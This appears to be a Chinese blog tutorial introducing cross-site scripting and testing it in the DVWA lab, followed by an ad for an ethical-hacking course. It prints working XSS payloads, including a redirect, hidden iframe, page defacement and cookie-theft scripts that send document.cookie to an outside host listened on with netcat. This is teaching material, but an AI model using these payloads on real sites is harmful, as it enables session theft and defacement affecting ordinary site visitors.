第十三章—手动漏洞挖掘(十)——XSS(一)

XSS —— 跨站脚本漏洞(一)

xss(cross-site scripting)
跨站脚本漏洞,其漏洞还是存在于服务器端,但与之前漏洞不同的是,他攻击的对象不是服务端,他利用漏洞攻击的对象是网站站点的使用者即客户端。
原理:一些黑客可以把有恶意的javascript代码注入到服务器上,可能是一次性注入,也可能是持久性注入,服务器端就会把这些代码不做任何修改直接交付给客户端浏览器,一旦脚本代码存在恶意目的,到达了客户端浏览器去执行的话,就会实现客户端的一个攻击。但是javascript在浏览器中使用权限比较受限制,所以通常来说这种攻击方式不能实现对客户端计算机的完全控制。

利用xss,可以进行cookie的盗取、重定向。

使用场景

  • 直接嵌入html:
  • 元素标签事件:<body οnlοad=alert(‘xss’)>
  • 图片标签:
  • 其他标签:、
  • DOM对象,篡改页面内容

漏洞形成的根源

  • 服务器对用户提交数据过滤不严
  • 提交给服务器的脚本被直接返回给其他客户端执行
  • 脚本在客户端执行恶意操作
1、XSS漏洞类型
  • 存储型(持久性)
    黑客把自己的有恶意功能的javascript注入到服务器后,服务器将其 接受并保存,其他客户端来访问这个服务器相应的页面,就会把恶意代码交付到客户端。
  • 反射型(非持久)
    黑客注入有恶意功能的javascript到服务器端,服务器端会原封不动的返回给黑客的机器,就是在黑客的服务器端执行,看起来好像没有危害,但是结合社会工程学,黑客完全可以向被害者发送邮件,邮件中有链接,链接里就是js的脚本,他如果点了这个链接,就会执行js,js请求就会发给服务器端,因为服务器端存在漏洞,所以他会把又恶意功能的js原封不动的再发还给客户端,即发还给该客户端的浏览器,一到浏览器js就可以执行,js就可以窃取cookie、重定向等。
  • DOM型
    利用浏览器的dom特性,不向服务器端发送请求,而是在本地执行,就可以修改或窃取本地浏览器信息。
2、检测

还是使用DVWA来实验。
在该框中我们输入123点击提交后会返回。由于这是一段javascript代码,由此可猜测,这段代码是不是有可能在客户端被执行而不是显示在页面上?
在这里插入图片描述
使用burp截获,
在这里插入图片描述
在这里插入图片描述
可以看到“123”位于返回的一段html代码里面的

标签中,我们可以猜想:如果我们提交的是html的一段代码,会不会出现异常情况?
试验输入“click”提交:
在这里插入图片描述
试验输入最基本最典型的验证跨站脚本是否存在的一段脚本程序:

<script>alert('xss');</script>

提交后弹出提示框,即该段脚本代码被服务端原样返回给客户端并且在客户端执行了。由此可证明跨站脚本存在。

在这里插入图片描述

<a href=" οnclick=alert('xss')>type</a>

在这里插入图片描述

<img src=http://1.1.1.1/a.jpg οnerrοr=alert('xss')>

找不到该图片就会弹出框,显示xss。
在这里插入图片描述

<script>window.location="http://10.0.0.141"</script>
#我们可以结合nc使用
nc -vnlp 80

在这里插入图片描述

<iframe src="http://1.1.1.1/victim" height="0" width="0"></iframe>

在这里插入图片描述

#该命令实验失败??
<script>new image().src="http://1.1.1.1/c.php?output="+document.cookie;<script> #结合nc使用可以偷取cookie
<script>document.body.innerHTML="<div style=visibility:visible;><h1>this website is under attack</h1></div>";</script>

实现对页面的篡改:
在这里插入图片描述

3.窃取cookie
#src的值是带有恶意的脚本文件的实际位置,一旦执行,就会把脚本代码汇入到服务器端的html里,服务器端就会把该代码返回给客户端
<script src="http://1.1.1.1/a.js"></script>
#a.js源码:
var img=new image();
img.src="http://1.1.1.1:88/cookies.php?cookie="+document.cookie;
#再用nc侦听88端口
nc -nvlp 88
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【为什么要学习这门课程?】 本课程的主要目标不是执行恶意危害,而是为您提供逐步的指导,以便您可以学习道德白帽、渗透测试和安全态势评估,因为它与web应用程序有关。通过本课程教授的技能,您将了解到许多前沿危害安全技术相关的各种概念。课程包含多媒体教程和动手演示,用户可以适用于真实场景,并且网络安全资深专家奥马尔·桑托斯为感兴趣的人提供了一些关键建议,包括如何成为一个职业道德白帽,或仅仅是跟上不断变化的漏洞威胁,让你或你的客户网络的web应用程序更加安全。【课程亮点】 1、通过课程学习帮助您学习道德白帽、渗透测试和安全态势评估,包括危害、分析和减轻web应用程序漏洞的方法,2、将展示如何为网络应用测试建立一个渗透测试实验室,你将学习如何执行侦察和分析。 3、您将了解如何利用多种漏洞,包括身份验证、会话管理、基于注入的方法、跨站脚本编写、跨站点请求伪造和它们的加密实现。 【讲师介绍】  Omar Santos(奥马尔·桑托斯)—— 思科PSIRT首席工程师、作家Omar Santos(奥马尔·桑托斯)是思科产品安全事件响应团队(PSIRT)的首席工程师,指导和领导团队工程师和事件经理对安全漏洞进行调查和解决。桑托斯著有20多本网络安全方面的专著,在全球拥有大量读者,他制作的大量白皮书、文章、安全配置指南等相关内容被大量媒体引用,如《共和报》、《连线》、《ZDNet》、《网络独家新闻》、《TechCrunch》、《财富》、《Ars Technica》等等。同时,他还是网络安全社区的一名活跃成员,他参与很多重要行业的网络安全倡议和标准制定。他还会积极帮助企业、学术机构、州和地方执法机构,提高关键基础设施的安全性。【课程收获】 1、评估你需要知道的一切,以执行道德白帽和渗透测试的web应用程序2、了解web应用程序协议、HTTP请求/响应、会话管理和cookie、DevOps、云服务、web应用程序框架和Docker容器,以便更好地评估web应用程序的漏洞3、构建自己的web应用程序实验室进行渗透测试4、通过几种技术和应用程序对web应用程序进行配置和执行被动和主动侦察5、利用身份验证和会话管理职责 6、利用并减轻基于注入的命令、SQL和XML漏洞7、利用和减轻跨站脚本危害(XSS)和跨站请求伪造(CSRF)漏洞8、利用和减轻密码漏洞 9、理解和测试api以减轻web应用程序危害10、理解并减轻客户端、HTML5和AJAX的漏洞11、检查可以利用(并保护)web应用程序漏洞的其他途径【面向人群】1、所有开始从事职业白帽和渗透测试工作的网络安全专业人员 2、准备考取CompTIA PenTest+,道德白帽认证(CEH),危害安全专家认证(OSCP),以及其他道德白帽认证的人3、任何想要学习成为道德白帽所需技能的网络安全专业人员,或者想要学习更多关于一般安全渗透测试方法和概念的网络安全专业人员

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值